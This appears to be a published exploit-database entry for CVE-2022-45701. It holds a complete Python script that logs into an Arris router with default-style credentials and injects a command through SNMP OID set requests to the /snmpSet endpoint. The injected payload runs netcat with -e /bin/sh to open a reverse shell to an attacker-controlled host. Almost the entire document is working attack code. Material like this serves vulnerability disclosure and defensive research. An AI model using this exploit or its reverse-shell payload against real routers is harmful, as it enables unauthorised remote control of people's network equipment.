Arris Router Firmware 9.1.103 – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated) # Date: 17/11/2022 # Exploit Author: Yerodin Richards # Vendor Homepage: https://www.commscope.com/ # Version: 9.1.103 # Tested on: TG2482A, TG2492, SBG10 # CVE : CVE-2022-45701 import requests import base64 router_host = "http://192.168.0.1" username = "admin" password = "password" lhost = "192.168.0.6" lport = 80 def main(): print("Authorizing...") cookie = get_cookie(gen_header(username, password)) if cookie == '': print("Failed to authorize") exit(-1) print("Generating Payload...") payload = gen_payload(lhost, lport) print("Sending Payload...") send_payload(payload, cookie) print("Done, check shell..") def gen_header(u, p): return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii") def no_encode_params(params): return "&".join("%s=%s" % (k,v) for k,v in params.items()) def get_cookie(header): url = router_host+"/login" params = no_encode_params({"arg":header, "_n":1}) resp=requests.get(url, params=params) return resp.content.decode('UTF-8') def set_oid(oid, cookie): url = router_host+"/snmpSet" params = no_encode_params({"oid":oid, "_n":1}) cookies = {"credential":cookie} requests.get(url, params=params, cookies=cookies) def gen_payload(h, p): return f"$\(nc%20{h}%20{p}%20-e%20/bin/sh)" def send_payload(payload, cookie): set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;", cookie) set_oid(f"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;", cookie) set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;", cookie) set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;", cookie) set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;", cookie) set_oid("1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;", cookie) if __name__ == '__main__': main() |